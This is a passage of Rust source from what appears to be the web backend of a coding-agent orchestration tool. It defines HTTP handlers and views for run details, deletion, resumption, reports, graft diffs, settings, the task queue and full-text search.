3299 let done = task.status == TaskStatus::Done;
3300 let finished_by = done
3301 .then(|| {
3302 history
3303 .iter()
3304 .rev()
3305 .find(|h| {
3306 matches!(
3307 h.exit,
3308 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3309 )
3310 })
3311 .map(brief)
3312 })
3313 .flatten();
3314 TaskRef {
3315 short: task.short().to_owned(),
3316 title: task.title.clone(),
3317 id: task.id.clone(),
3318 source_label: task.source.label(),
3319 source_link: source_link(&task.source),
3320 status: task.status.as_str(),
3321 attempts: task.attempts,
3322 max_attempts,
3323 is_latest,
3324 latest,
3325 closed_by_hand: done && finished_by.is_none(),
3326 finished_by,
3327 }
3328}
3329
3330#[derive(Debug, Serialize)]
3332struct LatestAttempt {
3333 id: String,
3334 short: String,
3335 resolved: bool,
3346 status: RunStatus,
3349 done: bool,
3351}
3352
3353#[derive(Debug, Default, Serialize)]
3355struct RunProseMd {
3356 advice_md: Option<AdviceMd>,
3358 candidate_summaries_md: Vec<Vec<md::Node>>,
3360 reviews_md: Vec<RoundMd>,
3362}
3363
3364#[derive(Debug, Default, Serialize)]
3365struct AdviceMd {
3366 synthesis: Vec<md::Node>,
3367 approaches: Vec<Vec<md::Node>>,
3369}
3370
3371#[derive(Debug, Default, Serialize)]
3372struct RoundMd {
3373 reviewers: Vec<ReviewerMd>,
3375 reconsideration: Vec<Vec<md::Node>>,
3377 fix: Option<FixMd>,
3378}
3379
3380#[derive(Debug, Default, Serialize)]
3381struct ReviewerMd {
3382 summary: Vec<md::Node>,
3383 findings: Vec<Vec<md::Node>>,
3385}
3386
3387#[derive(Debug, Default, Serialize)]
3388struct FixMd {
3389 notes: Vec<md::Node>,
3390 rejected: Vec<Vec<md::Node>>,
3392}
3393
3394fn run_prose_md(state: &RunState) -> RunProseMd {
3396 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3397 RunProseMd {
3398 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3399 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3400 approaches: a
3401 .records
3402 .iter()
3403 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3404 .collect(),
3405 }),
3406 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3407 reviews_md: state
3408 .reviews
3409 .iter()
3410 .map(|round| RoundMd {
3411 reviewers: round
3412 .reviews
3413 .iter()
3414 .map(|rec| ReviewerMd {
3415 summary: nodes(&rec.summary),
3416 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3417 })
3418 .collect(),
3419 reconsideration: round
3420 .reconsideration
3421 .iter()
3422 .map(|rv| nodes(&rv.reason))
3423 .collect(),
3424 fix: round.fix.as_ref().map(|fix| FixMd {
3425 notes: nodes(&fix.notes),
3426 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3427 }),
3428 })
3429 .collect(),
3430 }
3431}
3432
3433impl RunDetailView {
3434 fn of(
3435 state: RunState,
3436 waiting: bool,
3437 live: crate::run::Liveness,
3438 superseded_by: Option<String>,
3439 latest_attempt: Option<LatestAttempt>,
3440 task: Option<TaskRef>,
3441 ) -> Self {
3442 let display_status = run_display_status(&state, waiting, live);
3443 let stop_reason = crate::stop_reason::of(
3444 &state,
3445 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3446 );
3447 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3448 Self {
3449 stop_reason,
3450 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3451 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3452 prose_md: run_prose_md(&state),
3453 origin_label: crate::run::origin_label(state.origin.as_ref()),
3454 live,
3455 unmerged_by_design: state.unmerged_by_design(),
3456 waiting,
3457 display_status,
3458 badge_status,
3459 done: state.status.done(),
3460 superseded_by,
3461 latest_attempt,
3462 task,
3463 state,
3464 }
3465 }
3466}
3467
3468async fn run_detail(
3469 State(ui): State<Arc<Ui>>,
3470 Path(id): Path<String>,
3471) -> ApiResult<Json<RunDetailView>> {
3472 blocking(move || {
3473 let id = resolve_run(&ui.runs, &id)?;
3474 let state = read_run(&ui.runs, &id)?;
3475 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3476 let live = state.liveness(daemon_claims);
3477 let waiting = !ui.questions.open_for(&id).is_empty();
3478 let superseded_by = state
3479 .pr_taken_over_by
3480 .clone()
3481 .or_else(|| ui.queue.superseded_by(&id))
3482 .as_deref()
3483 .map(crate::run::short_of)
3484 .map(str::to_owned);
3485 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3489 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3490 short: head.short().to_owned(),
3491 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3492 status: head.status,
3493 done: head.status.done(),
3494 id: head.id,
3495 })
3496 });
3497 let max_attempts = daemon::Opts::default().max_attempts;
3498 let task = ui
3499 .queue
3500 .list()
3501 .into_iter()
3502 .find(|t| t.runs.contains(&id))
3503 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3504 Ok(Json(RunDetailView::of(
3505 state,
3506 waiting,
3507 live,
3508 superseded_by,
3509 latest_attempt,
3510 task,
3511 )))
3512 })
3513 .await
3514}
3515
3516async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3525 let (id, unreadable) = {
3526 let ui = Arc::clone(&ui);
3527 blocking(move || {
3528 let id = resolve_run(&ui.runs, &id)?;
3529 match read_run(&ui.runs, &id) {
3530 Ok(state) => {
3531 let in_flight =
3532 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3533 state
3534 .ensure_can_delete(in_flight)
3535 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3536 let dir = ui.runs.join(&id);
3537 std::fs::remove_dir_all(&dir)
3538 .with_context(|| format!("remove run directory {}", dir.display()))?;
3539 Ok((id, false))
3540 }
3541 Err(_) => {
3542 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3546 return Err(ApiError::conflict(format!(
3547 "run {id} is being worked on by a live daemon right now"
3548 )));
3549 }
3550 Ok((id, true))
3551 }
3552 }
3553 })
3554 .await?
3555 };
3556 if unreadable {
3557 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3558 .await
3559 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3560 }
3561 let ui = Arc::clone(&ui);
3562 let done = id.clone();
3563 blocking(move || {
3564 ui.questions.abandon_for_run(
3567 &done,
3568 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3569 )?;
3570 Ok(())
3571 })
3572 .await?;
3573 Ok(StatusCode::NO_CONTENT)
3574}
3575
3576async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3600 let (id, state) = {
3601 let ui = Arc::clone(&ui);
3602 blocking(move || {
3603 let id = resolve_run(&ui.runs, &id)?;
3604 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3605 return Err(ApiError::conflict(format!(
3606 "run {id} is being worked on by a live daemon right now"
3607 )));
3608 }
3609 let state = read_run(&ui.runs, &id).ok();
3610 Ok((id, state))
3611 })
3612 .await?
3613 };
3614 let removed = match state {
3615 Some(mut state) => {
3616 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3617 .await
3618 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3619 if removed.is_empty() {
3624 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3625 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3626 }
3627 removed
3628 }
3629 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3630 .await
3631 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3632 };
3633 Ok(Json(FoldView {
3634 run: id,
3635 removed_count: removed.len(),
3636 removed,
3637 }))
3638}
3639
3640#[derive(Debug, Serialize)]
3642struct FoldView {
3643 run: String,
3644 removed: Vec<String>,
3646 removed_count: usize,
3647}
3648
3649#[derive(Debug, Deserialize)]
3652struct FoldMergedBody {
3653 #[serde(default)]
3654 pr_url: String,
3655}
3656
3657async fn run_fold_merged(
3677 State(ui): State<Arc<Ui>>,
3678 Path(id): Path<String>,
3679 Json(body): Json<FoldMergedBody>,
3680) -> ApiResult<Json<FoldMergedView>> {
3681 let pr_url = body.pr_url.trim().to_owned();
3682 if pr_url.is_empty() {
3683 return Err(ApiError::bad_request("pr_url is required"));
3684 }
3685 let (id, mut state) = {
3686 let ui = Arc::clone(&ui);
3687 blocking(move || {
3688 let id = resolve_run(&ui.runs, &id)?;
3689 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3690 return Err(ApiError::conflict(format!(
3691 "run {id} is being worked on by a live daemon right now"
3692 )));
3693 }
3694 let state = read_run(&ui.runs, &id)?;
3695 Ok((id, state))
3696 })
3697 .await?
3698 };
3699 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3700 .await
3701 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3702 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3703 .await
3704 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3705 Ok(Json(FoldMergedView {
3706 run: id,
3707 before: before.as_str().to_owned(),
3708 after: after.as_str().to_owned(),
3709 removed,
3710 }))
3711}
3712
3713#[derive(Debug, Serialize)]
3715struct FoldMergedView {
3716 run: String,
3717 before: String,
3719 after: String,
3721 removed: Vec<String>,
3723}
3724
3725async fn run_resume(
3745 State(ui): State<Arc<Ui>>,
3746 Path(id): Path<String>,
3747) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3748 let (id, state) = {
3749 let ui = Arc::clone(&ui);
3750 blocking(move || {
3751 let id = resolve_run(&ui.runs, &id)?;
3752 let state = read_run(&ui.runs, &id)?;
3753 Ok((id, state))
3754 })
3755 .await?
3756 };
3757 if let Some(to) = state
3758 .pr_taken_over_by
3759 .as_ref()
3760 .or(state.released_to.as_ref())
3761 {
3762 return Err(ApiError::conflict(format!(
3763 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3764 state.short(),
3765 crate::run::short_of(to)
3766 )));
3767 }
3768 if !state.status.resumable() {
3769 return Err(ApiError::conflict(format!(
3770 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3771 state.short(),
3772 status_word(state.status)
3773 )));
3774 }
3775 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3780 .into_iter()
3781 .next()
3782 {
3783 return Err(ApiError::conflict(format!(
3784 "the loop is running run {} right now; stop it first, or wait for \
3785 it to finish, before resuming a run by hand.",
3786 crate::run::short_of(&work.run)
3787 )));
3788 }
3789 let _resume = ui.begin_resume(&id)?;
3790
3791 let queued = RunSummary::of(
3794 &state,
3795 !ui.questions.open_for(&id).is_empty(),
3796 state.liveness(false),
3797 );
3798 let run = id.clone();
3799 tokio::spawn(async move {
3800 let _resume = _resume;
3801 match crate::graph::Runner::resume(&run) {
3802 Ok(mut runner) => {
3803 if let Err(e) = runner.execute().await {
3804 tracing::warn!("resume of run {run} stopped: {e:#}");
3805 }
3806 }
3807 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3810 }
3811 });
3812 Ok((StatusCode::ACCEPTED, Json(queued)))
3813}
3814
3815async fn run_report(
3816 State(ui): State<Arc<Ui>>,
3817 Path(id): Path<String>,
3818) -> ApiResult<impl IntoResponse> {
3819 let text = blocking(move || {
3820 let id = resolve_run(&ui.runs, &id)?;
3821 let state = read_run(&ui.runs, &id)?;
3825 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3826 let live = state.liveness(daemon_claims);
3827 Ok(format!(
3828 "{}{}",
3829 report::run(&state),
3830 report::active_seats(&state, live)
3831 ))
3832 })
3833 .await?;
3834 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3835}
3836
3837async fn run_report_json(
3841 State(ui): State<Arc<Ui>>,
3842 Path(id): Path<String>,
3843) -> ApiResult<Json<crate::report_view::RunReportView>> {
3844 let view = blocking(move || {
3845 let id = resolve_run(&ui.runs, &id)?;
3846 let state = read_run(&ui.runs, &id)?;
3847 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3848 let recovered = state.graft.as_ref().map(|_| {
3850 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3851 });
3852 Ok(crate::report_view::build_with(
3853 &state,
3854 state.liveness(daemon_claims),
3855 recovered.as_ref(),
3856 ))
3857 })
3858 .await?;
3859 Ok(Json(view))
3860}
3861
3862const GRAFT_DIFF_MAX: usize = 400 * 1024;
3864const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3866
3867async fn run_graft_diff(
3870 State(ui): State<Arc<Ui>>,
3871 Path(id): Path<String>,
3872) -> ApiResult<impl IntoResponse> {
3873 let (repo, pre, post) = blocking(move || {
3874 let id = resolve_run(&ui.runs, &id)?;
3875 let state = read_run(&ui.runs, &id)?;
3876 let g = state
3877 .graft
3878 .as_ref()
3879 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3880 let post = g
3881 .post
3882 .clone()
3883 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3884 Ok((state.repo.clone(), g.pre.clone(), post))
3885 })
3886 .await?;
3887 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3888 if !hex(&pre) || !hex(&post) {
3889 return Err(ApiError::not_found("the recorded commits are not valid"));
3890 }
3891 let out = tokio::time::timeout(
3892 GRAFT_DIFF_TIMEOUT,
3893 crate::git::git_raw(
3894 &repo,
3895 &[
3896 "diff",
3897 "--no-color",
3898 "--no-ext-diff",
3899 "-M",
3900 &pre,
3901 &post,
3902 "--",
3903 ],
3904 ),
3905 )
3906 .await
3907 .map_err(|_| ApiError::not_found("git diff timed out"))?
3908 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3909 if out.code != Some(0) {
3910 return Err(ApiError::not_found(
3911 "the recorded commits are no longer in the repository",
3912 ));
3913 }
3914 let mut body = out.stdout;
3915 if body.len() > GRAFT_DIFF_MAX {
3916 let mut cut = GRAFT_DIFF_MAX;
3917 while !body.is_char_boundary(cut) {
3918 cut -= 1;
3919 }
3920 body.truncate(cut);
3921 body.push_str("\n... diff truncated ...");
3922 }
3923 Ok((
3924 [
3925 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
3926 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3927 ],
3928 body,
3929 ))
3930}
3931
3932#[derive(Debug, Serialize)]
3938struct TaskView {
3939 #[serde(flatten)]
3940 task: Task,
3941 source_label: String,
3942 source_link: Option<SourceLink>,
3943 status_str: &'static str,
3944 instruction_md: Vec<md::Node>,
3948 waits_on: Vec<String>,
3952 stuck_roots: Vec<String>,
3955}
3956
3957impl From<Task> for TaskView {
3958 fn from(task: Task) -> Self {
3959 Self {
3960 source_label: task.source.label(),
3961 source_link: source_link(&task.source),
3962 status_str: task.status.as_str(),
3963 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3964 waits_on: Vec::new(),
3965 stuck_roots: Vec::new(),
3966 task,
3967 }
3968 }
3969}
3970
3971impl TaskView {
3972 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3973 let waits_on = inv.waits_on(&task);
3974 let stuck_roots = inv
3975 .stuck_roots(&task)
3976 .iter()
3977 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3978 .collect();
3979 Self {
3980 waits_on,
3981 stuck_roots,
3982 ..Self::from(task)
3983 }
3984 }
3985}
3986
3987#[derive(Debug, Default, Deserialize)]
3990#[serde(default)]
3991struct ReposQuery {
3992 refresh: u8,
3993}
3994
3995async fn repos_list(
4002 State(ui): State<Arc<Ui>>,
4003 Query(q): Query<ReposQuery>,
4004) -> ApiResult<Json<Vec<repos::Repo>>> {
4005 let refresh = q.refresh != 0;
4006 blocking(move || {
4007 let (cfg, _) = Config::discover(&ui.repo, None)?;
4008 Ok(Json(ui.repos_cache.list(
4009 &cfg.repos.roots,
4010 Duration::from_secs(cfg.repos.scan_ttl),
4011 refresh,
4012 )))
4013 })
4014 .await
4015}
4016
4017#[derive(Debug, Default, Deserialize)]
4019struct SettingsQuery {
4020 repo: Option<PathBuf>,
4021}
4022
4023fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4027 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4028 let paths: Vec<PathBuf> = ui
4029 .machine_config
4030 .iter()
4031 .filter(|p| p.is_file())
4032 .cloned()
4033 .collect();
4034 if paths.is_empty() {
4035 Ok(Config::autodetected())
4036 } else {
4037 Config::load_layers(&paths)
4038 }
4039 });
4040 let mut known = cfg
4041 .map(|cfg| {
4042 ui.repos_cache.list(
4043 &cfg.repos.roots,
4044 Duration::from_secs(cfg.repos.scan_ttl),
4045 refresh,
4046 )
4047 })
4048 .unwrap_or_default();
4049 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4050 if !known.iter().any(|r| r.path == path) {
4051 known.push(repos::Repo {
4052 name: path
4053 .file_name()
4054 .unwrap_or_default()
4055 .to_string_lossy()
4056 .into_owned(),
4057 path,
4058 });
4059 }
4060 known
4061}
4062
4063fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4064 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4065 let canonical = requested.canonicalize().ok();
4066 let mut known = settings_repositories(ui, false);
4067 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4068 if !known.iter().any(matches) {
4069 known = settings_repositories(ui, true);
4070 }
4071 let repo = known
4072 .iter()
4073 .find(|r| matches(r))
4074 .map(|r| r.path.clone())
4075 .ok_or_else(|| ApiError {
4076 text_reason: None,
4077 status: StatusCode::UNPROCESSABLE_ENTITY,
4078 message: "Choose a known repository from the Settings selector.".to_owned(),
4079 })?;
4080 Ok((repo, known))
4081}
4082
4083async fn settings_get(
4087 State(ui): State<Arc<Ui>>,
4088 Query(q): Query<SettingsQuery>,
4089) -> ApiResult<Json<settings::SettingsView>> {
4090 blocking(move || {
4091 let (repo, known) = settings_context(&ui, q)?;
4092 Ok(Json(settings::view_with_repos(
4093 &repo,
4094 ui.machine_config.as_deref(),
4095 &known,
4096 )))
4097 })
4098 .await
4099}
4100
4101#[derive(Debug, Deserialize)]
4103#[serde(deny_unknown_fields)]
4104struct RolesBody {
4105 revision: String,
4107 #[serde(default)]
4109 roles: std::collections::BTreeMap<String, Vec<String>>,
4110 #[serde(default)]
4114 counts: std::collections::BTreeMap<String, serde_json::Value>,
4115}
4116
4117async fn settings_put_roles(
4123 State(ui): State<Arc<Ui>>,
4124 Query(q): Query<SettingsQuery>,
4125 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4126) -> ApiResult<Json<settings::SettingsView>> {
4127 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4128 blocking(move || {
4129 let (repo, known) = settings_context(&ui, q)?;
4130 settings::save_with_repos(
4131 &repo,
4132 ui.machine_config.as_deref(),
4133 &body.revision,
4134 &body.roles,
4135 &body.counts,
4136 &known,
4137 )
4138 .map(Json)
4139 .map_err(|e| match e {
4140 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4141 settings::SaveError::Refused(m) => ApiError {
4142 text_reason: None,
4143 status: StatusCode::UNPROCESSABLE_ENTITY,
4144 message: m,
4145 },
4146 settings::SaveError::Internal(m) => ApiError::internal(m),
4147 })
4148 })
4149 .await
4150}
4151
4152async fn queue_list(
4153 State(ui): State<Arc<Ui>>,
4154 Query(q): Query<ListQuery>,
4155) -> ApiResult<Json<Vec<TaskView>>> {
4156 blocking(move || {
4157 let tasks = ui.queue.list();
4158 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4159 Ok(Json(
4160 tasks
4161 .into_iter()
4162 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4163 .map(|t| TaskView::with_inventory(t, &inv))
4164 .collect(),
4165 ))
4166 })
4167 .await
4168}
4169
4170const SEARCH_MAX_HITS: usize = 100;
4172const SEARCH_MAX_QUERY: usize = 200;
4174const SEARCH_MAX_TERMS: usize = 8;
4175const SNIPPET_BEFORE: usize = 50;
4177const SNIPPET_AFTER: usize = 110;
4178
4179#[derive(Debug, Deserialize)]
4181struct SearchQuery {
4182 #[serde(default)]
4183 scope: String,
4184 #[serde(default)]
4185 q: String,
4186}
4187
4188#[derive(Debug, Serialize, PartialEq, Eq)]
4191struct SnippetPart {
4192 text: String,
4193 hit: bool,
4194}
4195
4196#[derive(Debug, Serialize)]
4197struct SearchHit {
4198 id: String,
4199 field: String,
4201 snippet: Vec<SnippetPart>,
4202 #[serde(skip_serializing_if = "Option::is_none")]
4206 run: Option<RunSummary>,
4207}
4208
4209#[derive(Debug, Serialize)]
4210struct SearchView {
4211 scope: String,
4212 q: String,
4213 hits: Vec<SearchHit>,
4215 total: usize,
4217 truncated: bool,
4218 unreadable: usize,
4221}
4222
4223fn text_leaves<'a>(
4226 value: &'a serde_json::Value,
4227 field: &'a str,
4228 out: &mut Vec<(&'a str, &'a str)>,
4229) {
4230 match value {
4231 serde_json::Value::String(s) => out.push((field, s)),
4232 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4233 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4234 _ => {}
4235 }
4236}
4237
4238fn fold_char(c: char) -> char {
4241 c.to_lowercase().next().unwrap_or(c)
4242}
4243
4244fn search_terms(q: &str) -> Vec<String> {
4246 let mut terms: Vec<String> = Vec::new();
4247 for t in q.split_whitespace() {
4248 let t = t.to_lowercase();
4249 if !terms.contains(&t) {
4250 terms.push(t);
4251 }
4252 }
4253 terms
4254}
4255
4256fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4259 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4260 let mut first: Option<usize> = None;
4261 for term in terms {
4262 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4263 first = Some(first.map_or(at, |f| f.min(at)));
4264 }
4265 let (field, text) = leaves[first?];
4267 Some(SearchHit {
4268 id: String::new(),
4269 field: field.to_owned(),
4270 snippet: snippet_of(text, terms),
4271 run: None,
4272 })
4273}
4274
4275fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4278 let chars: Vec<char> = text.chars().collect();
4279 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4280 let needles: Vec<Vec<char>> = terms
4281 .iter()
4282 .map(|t| t.chars().map(fold_char).collect())
4283 .collect();
4284 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4285 let mut best: Option<(usize, usize)> = None;
4286 for n in needles.iter().filter(|n| !n.is_empty()) {
4287 if n.len() > chars.len() || to == 0 {
4291 continue;
4292 }
4293 let last = (to - 1).min(chars.len() - n.len());
4294 if from > last {
4295 continue;
4296 }
4297 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4298 && best.is_none_or(|(b, _)| i < b)
4299 {
4300 best = Some((i, i + n.len()));
4301 }
4302 }
4303 best
4304 };
4305 let Some((start, _)) = find(0, chars.len()) else {
4306 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4308 return vec![SnippetPart {
4309 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4310 hit: false,
4311 }];
4312 };
4313 let lo = start.saturating_sub(SNIPPET_BEFORE);
4314 let hi = (start + SNIPPET_AFTER).min(chars.len());
4315 let mut parts: Vec<SnippetPart> = Vec::new();
4316 let mut push = |s: &[char], hit: bool| {
4317 if s.is_empty() {
4318 return;
4319 }
4320 let text: String = s.iter().collect();
4321 match parts.last_mut() {
4322 Some(p) if p.hit == hit => p.text.push_str(&text),
4323 _ => parts.push(SnippetPart { text, hit }),
4324 }
4325 };
4326 if lo > 0 {
4327 push(&['\u{2026}'], false);
4328 }
4329 let mut at = lo;
4330 while at < hi {
4331 match find(at, hi) {
4332 Some((s, e)) => {
4333 push(&chars[at..s], false);
4334 let shown = e.min(hi);
4336 push(&chars[s..shown], true);
4337 at = shown;
4338 }
4339 None => {
4340 push(&chars[at..hi], false);
4341 at = hi;
4342 }
4343 }
4344 }
4345 if hi < chars.len() {
4346 push(&['\u{2026}'], false);
4347 }
4348 let mut prev_space = false;
4351 for p in &mut parts {
4352 let mut out = String::with_capacity(p.text.len());
4353 for c in p.text.chars() {
4354 if c.is_whitespace() {
4355 if !prev_space {
4356 out.push(' ');
4357 }
4358 prev_space = true;
4359 } else {
4360 out.push(c);
4361 prev_space = false;
4362 }
4363 }
4364 p.text = out;
4365 }
4366 parts.retain(|p| !p.text.is_empty());
4367 parts
4368}
4369
4370fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4372where
4373 I: IntoIterator<Item = (String, serde_json::Value)>,
4374{
4375 for (id, doc) in docs {
4376 let mut leaves = Vec::new();
4377 leaves.push(("id", id.as_str()));
4380 text_leaves(&doc, "", &mut leaves);
4381 if let Some(mut hit) = search_document(terms, &leaves) {
4382 view.total += 1;
4383 if view.hits.len() < SEARCH_MAX_HITS {
4384 hit.id = id;
4385 view.hits.push(hit);
4386 }
4387 }
4388 }
4389 view.truncated = view.total > view.hits.len();
4390}
4391
4392fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4399 let opener = talk
4400 .turns
4401 .iter()
4402 .find(|t| t.who == crate::talk::Who::Operator)
4403 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4404 .unwrap_or("");
4405 let title: String = if opener.chars().count() > 96 {
4406 opener.chars().take(95).chain(['\u{2026}']).collect()
4407 } else {
4408 opener.to_owned()
4409 };
4410 let turns: Vec<serde_json::Value> = talk
4411 .turns
4412 .iter()
4413 .map(|t| {
4414 let who = match t.who {
4415 crate::talk::Who::Operator => "operator",
4416 crate::talk::Who::Agent => "agent",
4417 };
4418 serde_json::json!({ who: t.body })
4419 })
4420 .collect();
4421 serde_json::json!({ "title": title, "turns": turns })
4422}
4423
4424async fn search_get(
4431 State(ui): State<Arc<Ui>>,
4432 Query(q): Query<SearchQuery>,
4433) -> ApiResult<Json<SearchView>> {
4434 let query = q.q.trim().to_owned();
4435 if query.is_empty() {
4436 return Err(ApiError::bad_request("q must not be empty"));
4437 }
4438 if query.chars().count() > SEARCH_MAX_QUERY {
4439 return Err(ApiError::bad_request(format!(
4440 "q is longer than {SEARCH_MAX_QUERY} characters"
4441 )));
4442 }
4443 let terms = search_terms(&query);
4444 if terms.len() > SEARCH_MAX_TERMS {
4445 return Err(ApiError::bad_request(format!(
4446 "q has more than {SEARCH_MAX_TERMS} terms"
4447 )));
4448 }
4449 let scope = q.scope;
4450 if scope != "runs" && scope != "tasks" && scope != "chats" {
4451 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4452 }
4453 blocking(move || {
4454 let mut view = SearchView {
4455 scope: scope.clone(),
4456 q: query,
4457 hits: Vec::new(),
4458 total: 0,
4459 truncated: false,
4460 unreadable: 0,
4461 };
4462 if scope == "runs" {
4463 let mut unreadable = 0;
4464 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4468 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4469 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4470 Some(v) => Some((id, v)),
4471 None => {
4472 unreadable += 1;
4473 None
4474 }
4475 }
4476 });
4477 search_docs(&terms, docs, &mut view);
4478 view.unreadable = unreadable;
4479 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4482 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4483 for hit in &mut view.hits {
4484 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4485 hit.run = summarize(
4486 [state],
4487 &open_runs,
4488 &claimed,
4489 &superseded,
4490 |p| probe.borrow_mut().status(p),
4491 |p| probe.borrow_mut().started_at(p),
4492 )
4493 .pop();
4494 }
4495 }
4496 } else if scope == "chats" {
4497 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4498 view.unreadable = unreadable;
4499 search_docs(
4500 &terms,
4501 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4502 &mut view,
4503 );
4504 } else {
4505 let docs = ui.queue.list().into_iter().filter_map(|t| {
4506 let mut v = serde_json::to_value(&t).ok()?;
4507 if let Some(o) = v.as_object_mut() {
4510 o.insert("filed_by".to_owned(), t.source.label().into());
4511 }
4512 Some((t.id, v))
4513 });
4514 search_docs(&terms, docs, &mut view);
4515 }
4516 Ok(Json(view))
4517 })
4518 .await
4519}
4520
4521#[derive(Debug, Serialize)]
4523struct TaskRunView {
4524 n: usize,
4526 id: String,
4527 short: String,
4528 kind: &'static str,
4530 status: Option<&'static str>,
4532 readable: bool,
4534 provisional: bool,
4536 description: String,
4538 outcome: String,
4540 created_at: Option<Timestamp>,
4541 pr: Option<String>,
4542 exit: RunExit,
4544 attempt: AttemptCost,
4546 exit_label: String,
4549 later_pass: Option<usize>,
4552 pass_n: usize,
4556 passes_of_run: usize,
4557 pass: Option<PassView>,
4560 branch: Option<String>,
4562 badge: Option<String>,
4565}
4566
4567#[derive(Debug, Clone, PartialEq, Serialize)]
4569struct PassView {
4570 index: usize,
4571 resumed: bool,
4572 started_at: Timestamp,
